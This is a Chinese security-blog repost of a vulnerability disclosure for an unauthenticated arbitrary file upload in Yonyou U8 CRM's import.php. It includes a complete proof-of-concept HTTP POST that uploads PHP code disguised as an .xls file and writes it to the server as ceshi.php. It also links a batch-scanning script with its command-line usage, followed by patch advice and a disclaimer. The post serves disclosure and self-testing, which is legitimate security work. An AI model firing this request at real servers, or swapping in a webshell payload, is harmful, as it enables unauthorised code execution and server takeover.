product="用友-U8CRM"
资产页面
一、漏洞简述
用友CRM系统客户关系管理的第一需求就是对客户资源的集中管理，即为客户资源的企业化管理,可以避免因业务调整或人员变动造成的客户资源流失和客户管理盲区的产生;更重要是可以基于客户状况来归集相关业务信息，通过完善的信息来支持业务角色的工作,同时达到对业务阶段和行动的监控指导。这也是CRM对企业带来的核心变化。其接口import.php存在任意文件上传漏洞，攻击者课通过该漏洞获取系统服务器权限。
二、漏洞检测poc
POST /crmtools/tools/import.php?DontCheckLogin=1&issubmit=1 HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryB9S6D2q4J3f7Y1Z5Content-Length: 300------WebKitFormBoundaryB9S6D2q4J3f7Y1Z5Content-Disposition: form-data; name="xfile"; filename="1.xls"echo "HelloWorldTest";unlink(__FILE__);------WebKitFormBoundaryB9S6D2q4J3f7Y1Z5Content-Disposition: form-data; name="combo"ceshi.php------WebKitFormBoundaryB9S6D2q4J3f7Y1Z5--
命令回显
三、漏洞检测脚本
安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：
https://github.com/ATonysan/poc-exp/blob/main/YongYouU8CRM_import_ArbiraryFileUpload.py
批量检测:
python YongYouU8CRM_import_ArbiraryFileUpload.py -f url.txt
单个url检测漏洞:
python YongYouU8CRM_import_ArbiraryFileUpload.py -u url
四、修复
官方已更新补丁，请升级至最新版本。
官网地址：http://shbnk.cn/Home/products/id/460
原文始发于微信公众号（苏诺木安全团队）：【1day】用友U8CRM import 任意文件上传漏洞【附poc】
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论